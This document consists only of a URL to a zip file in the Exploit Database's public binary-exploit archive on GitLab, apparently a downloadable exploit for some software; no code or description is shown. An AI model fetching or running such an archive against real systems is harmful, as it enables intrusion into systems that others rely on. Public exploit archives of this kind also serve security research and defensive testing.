https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39941.zip